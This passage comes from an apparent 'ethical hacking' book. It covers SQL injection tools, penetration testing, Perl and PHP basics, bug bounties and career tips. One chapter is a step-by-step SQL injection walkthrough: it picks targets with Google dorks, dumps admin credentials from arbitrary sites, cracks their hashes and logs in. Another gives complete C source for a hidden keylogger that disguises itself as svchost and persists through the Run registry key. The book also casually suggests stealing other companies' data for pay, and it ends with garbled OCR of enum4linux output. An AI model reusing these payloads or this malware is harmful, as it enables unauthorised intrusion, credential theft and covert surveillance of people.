	This tool will also test the different variables that are entered into the database and will check the vulnerability of that variable. For more information, look at the screenshot below:
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	sqlninja

	The sqlninja tool is supported in the Kali distribution of Linux.
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	jSQL Injection

	The jSQL injection is a type of SQL injection attack that’s written in Java. The script is used to automate an SQL injection.
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	Quick Tips

	You must ensure that you adhere to the following if you want to protect any web application from an SQL injection attack:

	
		Always quote the user information that’s being passed into any database.

		Ensure that every variable is validated and cleaned before it’s passed into the application.

		Never allow any user-input to enter the database before it’s checked.

		Data should never pass through the application GUI without being checked.
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	How to Hack Using the SQL Injection Tool
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	SQL injection is one of the easiest and most commonly used tools that hackers employ to expose the vulnerabilities in a system. Crackers use this tool to exploit the vulnerabilities in systems. This chapter only entails the basic information about the SQL injection tool and how you can use it.

	When you hack into a website using SQL injection, you’ll know if the system is vulnerable since you can obtain the usernames, passwords and access to the administration account. This can be used on any website. When LulzSec and Anonymous hacked into the Sony PlayStation network and obtained the personal information of more than 1,000 users, they used a slightly more advanced form of this tool. You can utilize this hack on any device via a browser or Internet connection.

	Step 1

	You should identify the website or application you want to use. If you wish to test a website and are unsure of whether it’s vulnerable or not, you can use Google. If you want a list of vulnerable websites on Google, you should enter ‘allinurl:dorkhere’ in the search bar. This will provide you with the following list of vulnerable websites:

	trainers.php?id=

	article.php?id=

	play_old.php?id=

	staff.php?id=

	games.php?id=

	newsDetail.php?id=

	product.php?id=

	product-item.php?id=

	news_view.php?id=

	humor.php?id=

	humour.php?id=

	opinions.php?id=

	spr.php?id=

	pages.php?id=

	prod_detail.php?id=

	viewphoto.php?id=

	view.php?id-

	website.php?id=

	hosting_info.php?id=

	detail.php?id=

	publications.php?id=

	releases.php?id=

	ray.php?id=

	produit.php?id=

	pop.php?id=

	shopping.php?id=

	shop.php?id=

	post.php?id=

	section.php?id=

	theme.php?id=

	page.php?id=

	ages.php?id=

	review.php?id=

	announce.php?id=

	participant.php?id=

	download.php?id=

	main.php?id=

	profile_view.php?id=

	view_faq.php?id=

	fellows.php?id=

	club.php?id=

	clubpage.php?id=

	viewphoto.php?id=

	curriculum.php?id=

	top10.php?id=

	article.php?id=

	person.php?id=

	game.php?id=

	art.php?id=

	read.php?id=

	newsone.php?id=

	title.php?id=

	home.php?id=

	This list is not exhaustive and is actually very short. You can locate a more comprehensive list on the Internet.

	Step 2

	When you decide on a vulnerable website to test, you should add a single quote at the end of the URL. For example, if you choose the website www.site.com/news.php?id=2, you should add a quote at the end of the URL. It will now look like this: www.site.com/news.php?id=2'.

	Step 3

	If you get an error or find that some content is missing from a page, you can confirm that this website is vulnerable.

	Step 4

	Once you confirm the website’s vulnerability, you’ll need to use an order by syntax. Now, you should remove the quote at the end of the URL and add the following syntax: +order+by+50--.

	It is good news if you receive an error. If you don’t receive an error, you should try a different website. You can try an alternate way around it, but that’s not to the extent of the book. The idea behind this exercise is to identify the highest possible number that you can order without missing or losing any content or receiving an error. The order is the number of tables that are present on the site.

	For instance, if you receive the error nine and not eight, this means that you will be using the order number eight. You should write this down. It’s important to remember that this is the number of orders on the website that do not have an error. Consider the following URL: www.site.com/news.php?id=2 order by 8—

	Step 5

	Now that you know the number of tables that are present in the website without an error, you can perform the unison select syntax. Remove the order by syntax and remember the number of tables on the website that do not have an error. Add the dash (negative symbol) before the ID numbers, and add it to the URL. You should use the following syntax: union select 1, 2, 3, 4, 5, 6, 7, 8—

	This syntax will allow you to select the number of tables you want to use. An example of this URL is www.site.com/news.php?id=-2 union select 1, 2, 3, 4, 5, 6, 7, 8—

	If you see numbers on the page, then you know that the syntax works correctly. If you receive the following error, then the website has found a way to reject the order by syntax: “The union select statement does not match the number of tables on the page". 

	Step 6

	The numbers on the page should be between 1 and the number of tables on the website. You will see at least two to six numbers on the website. When you see a number on the page, you should choose that number and replace it with ‘@@version’. For example, if you choose the number 2, the syntax will be as follows: www.site.com/news.php?id=-2 union select 1, @@version, 3, 4, 5, 6, 7, 8—

	You should now replace the number you have chosen with a string of numbers. This is often a 4.xx.xxxxx or 5.xx.xxxxx. This is how SQL will indicate that the target is running.

	Step 7

	We will now find the names of the different tables that are present in this website. You can do so by using the GROUP_CONCAT syntax. You should now replace the @@version with group_concat(table_name) and add from the information_schema_tables where table_schema=database() --

	The URL will now look as such: 

	www.site.com/news.php?id=-2 union select 1, group_concat(table_name), 3, 4, 5, 6, 7, 8 from information_schema.tables where table_schema=database()—

	You’ll now see a string of words in place of MySQL version. These words can contain any information and represent the website tables. You should look for the table that sounds like an administrator or user table. Some common tables are an admin, user, users, members, admintbl and usertbl. 

	Let’s assume that you found the table admin. You should record the exact name of the table and go to the following website: https://paulschou.com/tools/xlate/ and then encode the table name. To carry this out, enter the table name into the TEXT field on the website. You should now take the numbers from the ASCII DEC/CHAR field and replace the spaces with commas.

	Step 8

	At this point, you’ll see that different columns in the table have been selected. You should now change the syntax of the current GROUP_CONCAT to the following:

	Replace group_concat(table_name) with group_concat(column_name), and replace from information_schema.tables where table_schema=database()-- with from information_schema.columns where table_name=CHAR(YOUR ASCII HERE)—

	An example of the URL is below:

	www.site.com/news.php?id=-2 union select 1, group_concat(column_name), 3, 4, 5, 6, 7, 8 from information_schema.columns where table_name=CHAR(97,100,109,105,110)—

	You should remember that the ASCII numbers that you use will differ depending on what the name of the table is. The table names will then be replaced with columns. Some common columns include userid, user, username, password, email, accesslevel, firstname and lastname.

	Step 9

	You’re looking for the ones that will give you the data or information you need in order to test the vulnerability of the website. From the tables extracted above, the most useful columns for you will be the userid/user/username and password. You also want the information about the access levels to ensure that you don’t have to log in multiple times to find who the admin is.

	The access level for the administrator is always the highest. Alternatively, the name of the administrator is usually “admin”. You’ll now need to change the syntax used earlier since you only want to extract the username, password and access level. Replace the group_concat(column_name) syntax with group_contact(username, 0x3a, password, 0x3a, accesslevel). If you want to add more columns or replace them, ensure that you have ‘0x3a’ between each column.

	Replace the information_schema.columns where table_name=CHAR(YOUR ASCII)-- with from TABLE NAME --, where TABLE NAME is the name of the table from where the values are being obtained.

	An example of the URL is as follows:  

	www.site.com/news.php?id=-2 1, group_concat(username, 0x3a, password, 0x3a, accesslevel), 3, 4, 5, 6, 7, 8 from admin—

	Now, you should list the column names with the following: 

	james:shakespeare:0,ryan:mozart:1,admin:bach:2,superadmin:debussy:3, or anything similar. You have to remember that the current GROUP_CONCAT syntax will display the result in the following way: for username, 0x3a, password, 0x3a, accesslevel:

	USERNAME1:PASSWORD1:ACCESSLEVEL1,USERNAME2:PASSWORD2:ACCESSLEVEL2,USERNAME3:PASSWORD3:ACCESSLEVEL3, where the username, password and access level will correspond to one user depending on the number.

	The 0x3a in the statement above is a semicolon where every comma separates each user. The password is often a random string of letters and numbers, referred to as an MD5 hash. This is a password that has been encrypted.

	Step 10

	Next, you will need to decrypt the password if you want to log in. You can do this by either going online or by using certain software. It’s better to employ software since you can use it for a long time for different methods. If you’re wary of any malware in the software and don’t want to use it, you can try alternative methods, but there are times when you won’t find the password if you don’t use it. If you are comfortable with utilizing software,  you can download the Abel and Cain software by following this link: http://www.oxid.it/cain.html. Feel free to use Google to help you set up this MD5. If you want to use a website, click on the following link: http://www.md5decrypter.co.uk.

	Step 11

	Finally, log in to the newly obtained account and check for other vulnerabilities on the network.
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	Penetration testing is a process or tool that many companies use to identify or minimize the security breaches in a network or organization. The organization can hire a professional who will try to hack the network and the systems to identify the loopholes or vulnerabilities that need to be fixed. Before the company performs a penetration test, it will have an agreement with the ethical hacker that addresses the following parameters:

	
		When the test should be performed

		What the IP Address of the source system should be

		What fields the hacker is allowed to penetrate



	A penetration test is always conducted by a professional hacker who will use open-source and commercial tools, perform manual checks and automate some tools. Since the objective of this test is to identify all the vulnerabilities of the system, there are no restrictions made on the tools that the hacker can utilize.

	Types of Penetration Testing

	There are fives types of penetration tests that can be performed on a network or system. These include the black box, grey box, white box, external penetration testing, and internal penetration testing.

	Black Box

	During black box testing, the ethical hacker has no initial information about the network or the infrastructure of the organization that he or she is trying to penetrate. Therefore, the hacker will try different methods to learn more about the network or infrastructure of the organization.

	Grey Box

	In this type of test, the ethical hacker has some information about the network and infrastructure of the target organization. For instance, the hacker may have the domain name server.

	White Box

	In the white box test, the ethical hacker has all the information that she needs about the network and infrastructure of the target organization that she’s trying to penetrate.

	External Penetration Testing

	During external penetration testing, the ethical hacker focuses on the network server and infrastructure of the target organization and also on information about the operating system. The hacker will need to attack the organization using public networks and will attempt to hack the infrastructure of the organization using the organization’s web servers, public DNS servers, webpages, etc.

	Internal Penetration Testing

	In this type of testing, the hacker is already within the network, and he performs his tests on the organization from there.

	Penetration testing can lead to numerous problems, including loss of data, crashing the server or systems, and system malfunctioning. Therefore, a company must always calculate the risk before it decides to perform a penetration test on the network. The risk can be calculated using the following formula: Risk = Threat * Vulnerability.

	Example

	For this example, we will assume that you are working on developing an e-commerce website. You may want to perform a penetration test before the website goes live. In this instance, you’ll need to weigh the advantages and disadvantages of performing the test. When you do perform it, you will interrupt the services offered by the website. If you do not want to perform it, you should accept the risk that there may be some unpatched vulnerability in the system that will always be a threat. 

	Before you carry out the test, you must ensure that you put the scope of it in writing so that both you and the company are aware of what’s being tested. For instance, if the company uses a remote access technique, or a VPN, you should test it to ensure that it doesn’t become a vulnerability.

	The application will certainly use a webserver that has a database, so you should test the database for any injection attacks. It’s important to perform this test on a web server. You can also check if a web server is protected from a denial-of-service attack.

	Quick Tips

	You should consider doing the following when you choose to begin a penetration test on the target network or system:

	
		Understanding the requirements, and list and evaluate the risks associated with performing this test

		Hiring a certified hacker or professional to conduct the test since they are aware of all the methods they need to use to identify the vulnerabilities in the system or network

		Ensuring that you sign an agreement before you begin the test





	

Chapter 30

	 

	How to Code a Keylogger Using C
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	A keylogger is a computer program that captures the keystrokes made by every user in real time. The hacker can then decide to send these logs to FTP addresses or emails depending on the type of keylogger they’re using (whether it be a remote keylogger or a physical keylogger).

	A physical keylogger is useful when the hacker has access to the system and can retrieve these logs personally. A remote keylogger can be accessed from anywhere in the world, but it requires that the system you are working on has Internet access. This chapter will help you develop a C program to build a physical keystroke logger or keylogger. Once we understand this logic, we will extend it and build a remote keylogger that will allow you to send logs to emails and FTPs. 

	Let’s first look at how a simple keylogger works.

	Algorithm to Write the Code

	Before you begin to write the code, you should understand and identify the steps you need to follow.

	
		To store the keylogs, you should initialize an empty log file.

		Use the GetAsyncKeyState() function to intercept the keys that the user presses.

		Create a file to store these intercepted values.

		To make the running window undetectable, you should hide it.

		To make the program run in all conditions, use the while loop.

		To reduce the usage of CPU to 0%, introduce the Sleep() function.



	Let’s look at the C program to develop a keystroke logger. Through this program, you can intercept the keys that a user presses and store those keys in a log file.

	#include<windows.h>
#include<stdio.h>
#include<winuser.h>
#include<windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
   HWND stealth; //creating a stealth window
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
int test,create;
   test=test_key();//check if the key is available to open
if (test==2)// create the key
   {
         char *path="c:\\%windir%\\svchost.exe";//where the file needs to be stored
         create=create_key(path);
   }
   int t=get_keys();
   return t;
}
int get_keys(void)
{
             short character;
               while(1)
               {
                      sleep(10);//reduce the usage of CPU to 0%
                      for(character=8;character<=222;character++)
                      {
                          if(GetAsyncKeyState(character)==-32767)
                          {
                               FILE *file;
                              file=fopen("svchost.log","a+");
                              if(file==NULL)
                              {
                                      return 1;
                              }             
                              if(file!=NULL)
                              {         
                                      if((character>=39)&&(character<=64))
                                      {
                                            fputc(character,file);
                                            fclose(file);
                                            break;
                                      }         
                                      else if((character>64)&&(character<91))
                                      {
                                            character+=32;
                                            fputc(character,file);
                                            fclose(file);
                                            break;
                                      }
                                      else
                                      {
                                          switch(character)
                                          {
                                                case VK_SPACE:
                                                fputc(' ',file);
                                                fclose(file);
                                                break;   
                                                case VK_SHIFT:
                                                fputs("[SHIFT]",file);
                                                fclose(file);
                                                break;                                             
                                                case VK_RETURN:
                                                fputs("\n[ENTER]",file);
                                                fclose(file);
                                                break;
                                                case VK_BACK:
                                                fputs("[BACKSPACE]",file);
                                                fclose(file);
                                                break;
                                                case VK_TAB:
                                                fputs("[TAB]",file);
                                                fclose(file);
                                                break;
                                                case VK_CONTROL:
                                                fputs("[CTRL]",file);
                                                fclose(file);
                                                break;   
                                                case VK_DELETE:
                                                fputs("[DEL]",file);
                                                fclose(file);
                                                break;
                                                case VK_OEM_1:
                                                fputs("[;:]",file);
                                                fclose(file);
                                                break;
                                                case VK_OEM_2:
                                                fputs("[/?]",file);
                                                fclose(file);
                                                break;
                                                case VK_OEM_3:
                                                fputs("[`~]",file);
                                                fclose(file);
                                                break;
                                                case VK_OEM_4:
                                                fputs("[ [{ ]",file);
                                                fclose(file);
                                                break;
                                                case VK_OEM_5:
                                                fputs("[\\|]",file);
                                                fclose(file);
                                                break;                                 
                                                case VK_OEM_6:
                                                fputs("[ ]} ]",file);
                                                fclose(file);
                                                break;
                                                case VK_OEM_7:
                                                fputs("['\"]",file);
                                                fclose(file);
                                                break;                                             
                                                case VK_NUMPAD0:
                                                fputc('0',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD1:
                                                fputc('1',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD2:
                                                fputc('2',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD3:
                                                fputc('3',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD4:
                                                fputc('4',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD5:
                                                fputc('5',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD6:
                                                fputc('6',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD7:
                                                fputc('7',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD8:
                                                fputc('8',file);
                                                fclose(file);
                                                break;
                                                case VK_NUMPAD9:
                                                fputc('9',file);
                                                fclose(file);
                                                break;
                                                case VK_CAPITAL:
                                                fputs("[CAPS LOCK]",file);
                                                fclose(file);
                                                break;
                                                default:
                                                fclose(file);
                                                break;
                                         }         
                                    }   
                               }         
                     }   
                 }                   
             }
             return EXIT_SUCCESS;                             
}                                                 
int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {   
         check=1;
         return check;
  }         
reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
         check=2;
   if(reg_key==0)
         check=0;
RegCloseKey(hKey);
   return check;
}
int create_key(char *path)
{
         int reg_key,check;
        HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
         if(reg_key==0)
         {
                 RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                 check=0;
                 return check;
        }
         if(reg_key!=0)
                 check=1;
          return check;
}


	This code will now generate a binary file that is the keylogger software. All you need to do is double click on the software to monitor all the keys that the user is pressing on the system.
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	How to Script Using Perl
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	If you want to become a better hacker, you should develop the skills to script. It’s always convenient to use another hacker’s tools, but you should always make sure to focus on developing your own tools. You can only do this if you expand your scripting skills.

	History

	Perl is one of the most widely used languages in the Linux environment. This is not an acronym, though there are some who believe that it stands for “Practical Extraction and Report Language”. This language was developed in 1987 by a linguist named Larry Wall, as he was interested in designing a language that could pull text from multiple sources to generate a report. This is something we take for granted now, but it was anything but simple in a heterogeneous enterprise in the late 80s.

	Why Is Perl Important in Linux?

	Nearly everything in Linux is either a simple file or a collection of simple files. It is for this reason that Perl is useful in the Linux environment. In addition to this, Perl gives the user the capability to utilize some shell scripting commands in a script. This makes the language useful to develop hacking tools that are used for scripting. If you need to develop a tool to manipulate text or use shell commands, it’s advised that you use Perl.

	Perl is also the source of some useful regex or regular expressions that can be employed in hacking tools, security tools and Linux applications. These expressions give you the power to identify text patterns in a variety of applications like MySQL and Snort. They were first developed in Perl and, in some cases, are called PCRE or Perl Compatible Regular Expressions.

	Perl on Your System

	Since Perl is used in Linux, every distribution of Linux comes installed with a Perl interpreter, and Kali is no exception. If you use Windows, you can download Perl at the following location: http://www.activestate.com/activeperl/downloads/.

	This language has been used to develop many hacking tools, including adminfinder, fierce, snmpenum, onesixtyone, nikto and many others. This is a language that users favor for its ability to send SQL scripts from one web application to a backend database. If you want to look for every Perl script in Kali, you can execute the following code:

	kali > locate *.pl

	You’ll most likely notice that there are thousands of scripts that have been written for various purposes in Kali. This demonstrates the importance of Perl scripts in Linux administration and hacking.

	Creating a Script

	Step 1

	You can develop a Perl script on every platform if you have the Perl interpreter installed in the system. You should also include emacs, vim, gedit, kate, etc. In the examples in this book, we will be using a Leafpad, which is a text editor. Leafpad is built into Kali to develop simple Perl scripts. When you become more advanced, you’ll need to use an IDE that will make the development of scripts and debugging more productive. 

	First, open Leafpad by following this path: Application -> Accessories -> Leafpad. Next, type the following in Leafpad:

	#! /usr/bin/perl

	print "Hello User!\n;

	The first line of the code will tell the system which interpreter it needs to use to run the code that you write. The first segment of the code is called the “shebang”. In the example in this chapter, you’ll want the Perl interpreter to translate the code. This is precisely why the “shebang” is followed by “/usr/bin/perl”.

	The second line of the code is a print statement where you want to type “Hello User!” on the screen. The code ends with “\n”, terminating the line. Save this file using the name “firstperlscript”.

	Step 2

	Now, you should set the permissions. Let’s first navigate to the directory into which you saved the file and type “ls -l”.

	You’ll notice that the script has been saved using the default permission 644. If you want to execute the script, you’ll first need to change the permission, which will allow you to do so. The permission should be changed to 755 using the following syntax: 

	chmod 755 firstperlscript.

	Step 3

	It’s time to execute the scripts now that you have changed the permission. You can run the script by typing the following line of code: ./firstperlscript.

	The output will be “Hello User!” just as you intended.

	Step 4

	There are many special characters in Perl that you can use. In the above script, you’ve used the “\n” which tells the interpreter that the character should move to the next line. There are numerous operators available in Perl; below is a sample list of the special characters in Perl:

	
	• \0xx - the ASCII character whose octal value is xx

	• \a - an alarm character

	• \e - an ESCAPE character

	• \n - a NEWLINE character

	• \r - a RETURN character

	• \t - a TAB character



	Step 5

	Once you have executed the script, you can include some complexity and capability to it. When you run any script, you’ll need to declare some variables to hold information. The variables in Perl are the same as those in Linux, so you should declare them in the same way as you would in Linux, and that is with a “$” symbol before the label.

	Enter the following code into the text editor:

	#!/usr/bin/perl

	Print “Welcome back, user!\n”;

	Print “Which website do you want to use to hack?\n”;

	$name = <STDIN>;

	Chomp name;

	Print “Thank you, $name is one of the websites I use too!\n”;

	Let’s examine each line in the script:

	
		The first line will indicate to the system that it should use a specific interpreter while it’s executing a script.

		The second line will print a statement on the screen.

		The third line will print the statement on the screen.

		The fourth line will allow the user to enter a variable.

		In the fifth line of the code, the chomp function will remove potential new line characters that the user may have entered when it answers the questions.

		The last line of the code will print your response with the user’s inputs.



	Step 6

	You should now save this new script and change its permission as you did for the previous scripts. Finally, execute the script by running the following code: ./secondperlscript.
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	Hacking with PHP
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	In this chapter, you’ll learn how to use PHP to perform a system analysis and gather information to rectify any problems. To work on the programs in this chapter, you’ll need the following:

	
		A text editor

		Any browser

		An Apache web server with PHP



	What Is PHP?

	PHP is a scripting language that works on the server. The code that you write in PHP will only be executed on the server. The client will not see the code, which is why this is the perfect tool to use to test the security of a server or network in an organization.

	Finding the IP Address

	In this book, we will refer to the IP address as “yourip”. You should replace the IP address with the local host or “127.0.0.1” if you are using a browser on the same system on which you have Apache; otherwise, you will need to know what the local IP address is. In order to find it, you should execute the following command: 

	ifconfig | grep 'inet addr:.'

	The IP address is the string of numbers that comes after the “inet addr:” on the line that doesn’t contain the address “127.0.0.1”.

	Setting Up Apache

	If you don’t already have Apache installed on your system, you should run the following command to do so:

	sudo apt-get install apache2

	When you run the command, you’ll be asked if you want to continue the process, at which point you should select “yes”.

	Ensuring Apache Works

	Open a browser and navigate to the following link: http://yourip. This should land you on the Apache2 Ubuntu Default Page. You can confirm that Apache now exists.

	Setting Up PHP

	If you wish to install PHP, you should run the following command: sudo apt-get install php5 libapache2-mod-php5. When you run this command, you’ll be asked if you want to continue the process; select “yes”.

	Once PHP is installed, you will need to restart Apache to ensure that PHP works. Run the following command in order to restart Apache: sudo service apache2 restart.

	Making Sure PHP Works

	Create a file called “test.php”, and move it to the public folder. You’ll need to run some code to ensure that PHP is installed properly. You can use the following example, which returns “Hello User!” on a page that has the PHP version.

	//+----------------------------------------------------------------------+
<?php
$version=phpversion();//sets $version to current PHP version
echo 'version: '.$version;//prints "version: x.x.x" to the page
echo '<br/>';//prints a new line to the page
echo 'Hello User!';//prints "Hello User!" to the page
?>
//+----------------------------------------------------------------------+


	Now, open a browser and navigate to the following address: http://yourip/test.php. In the output window, you will see the version number and “Hello User!”
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	How to Make Money 
Through Ethical Hacking 
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	Now that you’ve identified different platforms through which you can perform ethical hacking and know what to keep an eye out for when you perform these tests, let’s see how you can make a living from this knowledge. The good news is that you can profit from ethical hacking if you are responsible.

	There are many hackers who have made a lot of money from a variety of hosts like PayPal, Yahoo and Google, including teenage hackers. The business is legal, and every responsible hacker can make enough money to sustain their livelihood if they want to. This is because of the unending cycle of cyber attacks that these websites have suffered.

	Before everything else, you should remember the concepts of black and white hat hackers. If you play by the rules, you can legally make enough money to live off of through hacking.

	Bug Bounty Business

	Bug bounty hunting is a business that most young hackers are a part of, and through this type of work, they’re making a lot of money. Hackers will snoop around massive websites like Facebook, Twitter, Yahoo and Google and look for bugs that can harm the website or leak information to hackers. Once they find the bugs, they report the vulnerability to the company immediately and get paid for it. You should think of it as someone scaling your house to see if there are any holes in the house (before you find out about them some other way), and then paying that person for letting you know that there are holes in your house.

	A couple years ago, Google decided to award a bug bounty hunter $2.7 million every year. In 2017, the company decided to run this contest all year round. An unlimited prize pool has been assigned for this, meaning that the money will only be given to a hacker once a bug is identified. There were days when a bug bounty program would attract informal rewards like a free t-shirt, thank you note, an online shoutout or a few hundred dollars.

	It is because of startups like Bugcrowd, Crowdcurity, HackerOne and Synack that companies can now pay the bug bounty hunter winner a steady income. Some companies that pay bug bounty hunters include:

	
		BitGo: $100-$1,000

		Dropbox: $216-$4,913

		Facebook: $500+

		FastMail: $100-$5,000

		Pinterest: $50-$1,500

		Magento: $100-$10,000

		Microsoft: $500-$100,000

		Paypal: $100-$10,000

		Spotify: $250+

		Stripe: $500+

		Tumblr: $200-$1,000

		Western Union: $100-$5,000



	There are black markets and real markets for bug bounties.

	Government Funding

	Just like an individual company, governments are also worried about being hacked. Therefore, they may decide to fund hackers and ask them to keep watch and ensure that the systems won’t be hacked. If you say that you’re using a thief to catch a thief, you are probably thinking correctly. Governments around the world sometimes use hackers to perform tasks or to track other hackers down. The tasks are often classified as national security and can include stealing military data or even economic or industrial espionage. (Did you hear that Russia hacked the U.S. elections?) That is one way an ethical hacker can make money while working for the government.

	Working on a Company Payroll

	As a white hat hacker, you’ll be employed by many companies to perform various tasks. One of the many reasons a company will employ a white hat hacker is to test the security of the website. The hackers will check the systems and network to see if there are any loopholes and identify digital fingerprints if any exist.

	There are some companies that will sometimes ask you to steal information from other companies. They may ask you to obtain information like reports, prototypes or anything else.

	Writing Security Software

	It’s always good to understand that programmers and hackers are different people. A hacker can write codes that will improve the security of the company, while a programmer is able to design software. The scripts that white hat hackers write are used to protect the system and network from black hat hackers. These securities are specific to a company or for a certain use. White hat hackers can also decide to write these scripts and sell them to companies.

	Teaching Security and Ethical Hacking

	This is not an example of making money through hacking, but is more about how you can pass your knowledge on to your peers. After all, what’s the point of being knowledgeable if you are not passing that wisdom along? As a white hat hacker, it is your responsibility to teach other hackers how ethical hacking works.
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	Tips to Become a Professional Hacker
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	There are a number of mistakes an amateur can easily make when hacking into a system. This can wreak havoc on their hacking outcomes, professional or not. This chapter identifies some of the deadliest mistakes that are commonly made by amateurs.

	No Written Approval

	If you want to hack into a system, it’s always important to get approval from the upper management or the customer. This is your “get-out-of-jail-free card”. You will need to obtain the following documents for approval:

	
		A laid out plan mentioning the systems that will be affected as a result of the hack

		Sign-off by your plan by an authorized decision maker agreeing to the terms and conditions to avoid being held liable if anything were to go wrong

		The original copy of the agreement



	There are no exceptions here.

	Finding All Vulnerabilities

	There are a number of vulnerabilities that exist in systems – some are well known, while there are others that aren’t so obvious. It would be impossible for the hacker to often find all the vulnerabilities in the system. You should not guarantee that you’ll find all the vulnerabilities in a system. Otherwise, you’ll be starting something you can never finish. Therefore, you have to ensure that you stick to the following tenets:

	
		Always be realistic.

		Use effective tools.

		Understand the system better and improve your techniques.

		Assume that you can eliminate all vulnerabilities.



	Computers are never 100 percent secure, and in reality, there will never be a time when they are. Therefore, it’s impossible for you as a hacker to prevent all security vulnerabilities. There are a few things you will need to keep in mind while advancing your career as a hacker:

	
		Always follow the best practices.

		Harden and protect your systems.

		Apply a number of countermeasures as possible.



	Performing Tests Only Once

	Hacking helps you obtain a snapshot of the state of security. There are a number of new threats and vulnerabilities that surface almost every day; therefore, it’s important that you perform the necessary tests daily to ensure that your system is able to keep up with any new threat that comes into existence.

	Pretending to Know it All

	No one working with computers or information security knows it all. It’s basically impossible to keep up with all the software versions, hardware models and new technologies emerging all the time, not to mention all the associate security vulnerabilities. Professional hackers know their limitations, and they know what they don’t know everything; however, they certainly can find out where to go to get the answers (try Google first).

	Always Look at Things from a Hacker’s Perspective

	Think about how an outside hacker can attack your network and computers. You may need a little bit of inside information to test some things reasonably, but try to limit this as much as possible. Get a fresh perspective, and think outside that proverbial box. Study hacker behaviors and common hack attacks so that you know what to test for.

	Not Using the Right Tools

	Without the right tools for the task, it’s almost impossible to get anything done - at least, not without driving yourself nuts! Download the free tools mentioned throughout this book and in the list within Appendix A. Buy commercial tools if you have the inclination and the budget. No security tool does it all, so build up your toolbox over time and get to know your tools well. This will save you gobs of effort, and you can also impress others with your results.

	Hacking at the Wrong Time

	One of the best ways to lose your job or customers is to run hack attacks against production systems when everyone is using them. Mr. Murphy’s Law will pay a visit and take down critical systems at the absolute worst time. Make sure you know when the best time is to perform your testing. It may be in the middle of the night. (Being a professional hacker is never easy!) This could be used as a reason to justify the usage of certain security tools and technologies that would automate different hacking tasks.

	Outsourcing Testing

	Outsourcing is great, but you must stay involved. It’s a bad idea to hand the reins over to a third party for all your security testing without following up and staying updated on what’s taking place. You won’t be doing anyone a favor except your outsourced vendors by staying out of their hair. You should always remain involved in the testing.

	How to Woo the Management

	Show how vulnerable the organization is

	If you’re trying to work as a professional hacker for a company, show the company how dependent the organization is on its information systems. Create what-if scenarios (kind of a business-impact assessment) to show what can happen and to see how long an organization can go without using computers, network and data. You should ask the upper-level managers what they would do if they didn’t have IT personnel and computers. 

	Show them real-world anecdotal evidence on hacker attacks, including malware, physical security, and social-engineering issues, but be positive about it. Don’t approach this in a negative way with FUD.  You should keep them informed about any changes that you’re making to the security in their company. You should also keep a record of how the industry is doing and inform the clients accordingly. Find stories related to similar businesses or industries so that they can relate. Collect magazine and newspaper articles.

	Google is a great tool to find practically everything you need here

	Show management that the organization has what a hacker wants, and be sure to point out the potential costs from damage caused by hacking. These can include:

	
		Missed opportunity costs

		Loss of intellectual property

		Liability issues

		Legal costs

		Lost productivity

		Clean-up time and costs

		Costs of fixing a tarnished reputation



	Be adaptable and flexible

	You should prepare yourself for rejection and skepticism - it happens a lot, especially from upper managers such as CFOs and CEOs, who are often completely disconnected from IT and security in the organization.

	You shouldn’t get defensive. You must remember that security is a long-term process that cannot be completed over a single assessment. Start small with a limited amount of such resources as budget, tools and time, if you must, and then build the program over time.

	Get involved with the business

	You should understand the business and learn how it operates. Identify the key players and study the politics involved in the organization. It’s vital that you do the following:

	
		Attend the meetings and make yourself known; this can help prove that you’re concerned about the business.

		Be a person who wants to contribute to the business.

		Know your opposition. Again, use the “know your enemy” mentality; if you understand what you’re dealing with, buy-in is much easier to get.



	Always speak to them at their level

	Always talk to your customers in layman’s terms. Do not use jargon to explain the concepts; that doesn’t impress anybody. Always talk in terms of the business.  This is a key skill to develop since you will be able to make them understand what it is that you do exactly and how it’s going to help their company.

	Most often, IT and security professionals lose the interest of upper-level managers as soon as they start speaking. A megabyte here, and a stateful inspection there; packets, packets everywhere; the data in this section of the database - talking about such things is a terrible idea. You should try to relate every security issue to regular business processes and other job functions.

	Show value in your efforts

	Here’s where the rubber meets the road. If you can show people what you’re doing and how it improves their business, you can maintain a good rapport with the team. This will ensure that you don’t have to plead to keep your professional hacking program going consistently. You should keep the following points in mind:

	
		Always document your involvement in the information security departments; create a report for the upper-level managers regarding the state of security in the organization, and give them examples of how their systems will be secured from known attacks.

		You should outline all the tangible results and present vulnerability assessment reports that you’ve run on the systems or on security tool vendors.  

		It’s advisable that you treat doubts, objections and concerns by the upper management as a request for more details. You should find the answers and prove your professional hacking worthiness.





	

	





	Conclusion
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	Thank you once again for purchasing this book. I sincerely hope you found it informative while on your quest to learn about ethical hacking.

	Ethical hacking, which is also known as white hat hacking or penetration hacking, is most certainly a profession. Ethical hackers do not work against an organization or an individual but rather work towards helping them understand the vulnerabilities in their systems and networks. This book should have acted as a guide to help you learn everything that’s important to know about ethical hacking.

	I hope you have gathered all the information you’re looking for. Thank you and all the best. 
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rootékali:~# enumdlinux U -0 192.168.1.200 e
Starting enumdlinux v0.8.9 ( http://labs.portcullis.co.uk/application/enumdlinux/ )

| Target Information |

1Ly A o0 192.168.1.200
RID Range ........ 500-550,1000-1050
USEINOIE o vvawas

Password ......... e

Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
ﬂ

I Enumerating workgroup/Domain on 192.168.1.200 |
